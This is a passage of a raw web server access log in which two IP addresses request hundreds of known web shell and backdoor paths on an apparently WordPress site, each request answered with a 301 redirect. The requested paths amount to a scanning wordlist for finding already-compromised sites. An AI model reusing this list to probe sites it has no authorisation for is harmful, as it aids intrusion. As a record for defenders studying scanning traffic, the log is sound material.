/wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:34 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:36 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:41 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:44 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:48 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:50 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:54 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:58 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:07:02 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:07:10 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:07:15 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:07:18 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:07:24 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:07:29 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:07:38 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:07:45 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:07:51 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:07:57 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:01 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:06 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:10 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:13 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:17 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:23 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:26 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:28 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:33 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:36 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:39 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:41 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:43 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:46 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:50 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:54 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:08:57 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:01 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:03 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:07 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:11 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:14 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:19 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:23 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:26 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:29 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:31 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:34 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:37 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:41 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:45 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 207.199.190.191 - - [21/Apr/2025:07:09:46 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "search-engine-indexer/1.0" 52.164.243.121 - - [21/Apr/2025:07:09:48 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 207.199.188.232 - - [21/Apr/2025:07:09:49 -0400] "GET / HTTP/1.1" 301 795 "-" "search-engine-indexer/1.0" 52.164.243.121 - - [21/Apr/2025:07:09:50 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:53 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:55 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:09:57 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:10:00 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:10:02 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:10:07 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:10:12 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:10:16 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:10:24 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:10:30 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:19:45 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:19:49 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:19:52 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:19:55 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:19:58 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:00 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:04 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:08 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:13 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:20 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:26 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:30 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:34 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:37 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:40 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:43 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:45 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:47 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:51 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:53 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:55 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:56 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:58 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:20:59 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:01 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:03 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:06 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:08 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:10 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:13 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:16 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:19 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:21 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:23 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:25 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:28 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:29 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:32 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:35 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:36 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:38 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:40 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:42 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:44 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:46 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:47 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:49 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:52 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:55 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:57 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:58 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:21:59 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:00 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:01 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:02 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:02 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:03 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:04 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:05 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:06 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:07 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:10 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:12 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:15 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:16 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:19 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:20 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:24 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:27 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:32 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:37 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:40 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:43 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:46 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:48 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:50 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:51 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:55 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:22:57 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:01 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:03 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:08 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:13 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:18 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:23 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:27 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:30 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:35 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:40 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:43 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:45 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:48 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:23:55 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:00 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:03 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:06 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:09 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:17 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:24 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:28 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:31 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:36 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:39 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:42 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:45 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:47 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:52 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:54 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:24:57 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:01 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:05 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:12 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:16 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:21 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:27 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:31 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:33 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:35 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:37 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:42 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:46 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:52 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:25:58 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:01 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:05 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:09 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:11 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:12 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:14 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:16 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:18 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:20 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:22 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:23 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:23 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:24 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:25 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:26 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:27 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:30 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:31 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:32 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:33 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:35 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:36 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:37 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:38 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:40 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:43 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:44 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:45 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:46 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:47 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:49 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:51 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:53 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:56 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:26:59 -0400] "GET /admin-ajax.php 